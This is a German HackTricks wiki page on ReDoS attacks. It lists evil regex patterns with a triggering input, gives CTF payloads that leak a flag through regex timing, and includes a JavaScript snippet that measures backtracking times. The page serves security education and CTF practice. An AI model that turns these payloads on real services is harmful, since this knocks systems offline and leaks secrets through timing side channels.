Regular expression Denial of Service - ReDoS

Regular Expression Denial of Service - ReDoS

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Regular Expression Denial of Service (ReDoS)

Ein Regular Expression Denial of Service (ReDoS) tritt auf, wenn jemand Schwachstellen in der Funktionsweise von regulären Ausdrücken (eine Möglichkeit, Muster in Text zu suchen und abzugleichen) ausnutzt. Manchmal können reguläre Ausdrücke, insbesondere wenn sie mit immer größer werdenden Texten arbeiten, sehr langsam werden. Diese Langsamkeit kann so stark zunehmen, dass sie selbst bei geringfügiger Vergrößerung der Textgröße exponentiell wächst. Angreifer können dieses Problem nutzen, um ein Programm, das reguläre Ausdrücke verwendet, für eine lange Zeit nicht ordnungsgemäß funktionieren zu lassen.

Der problematische Regex-Naive-Algorithmus

Weitere Informationen finden Sie unter https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Böse Regexes

Ein böses reguläres Ausdrucksmuster ist eines, das sich bei einer speziell erstellten Eingabe verfängt und eine DoS verursacht. Böse Regex-Muster enthalten in der Regel Gruppierungen mit Wiederholungen und Wiederholungen oder Alternativen mit Überlappungen innerhalb der wiederholten Gruppe. Einige Beispiele für böse Muster sind:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} für x > 10

Alle diese sind anfällig für die Eingabe aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS-Payloads

String-Exfiltration über ReDoS

In einem CTF (oder Bug-Bounty) haben Sie möglicherweise die Kontrolle über den Regex, mit dem eine sensible Information (die Flagge) abgeglichen wird. In diesem Fall kann es nützlich sein, die Seite einzufrieren (Timeout oder längere Verarbeitungszeit), wenn der Regex abgeglichen wird, und nicht, wenn er nicht abgeglichen wird. Auf diese Weise können Sie den String Zeichen für Zeichen exfiltrieren:

  • In diesem Beitrag finden Sie diese ReDoS-Regel: ^(?=<flag>)((.*)*)*salt$

  • Beispiel: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • In diesem Writeup finden Sie diese: <flag>(((((((.*)*)*)*)*)*)*)!

  • In diesem Writeup wurde dies verwendet: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS: Steuerung von Eingabe und Regex

Die folgenden Beispiele zeigen ReDoS, bei denen Sie sowohl die Eingabe als auch den Regex kontrollieren:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Werkzeuge

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated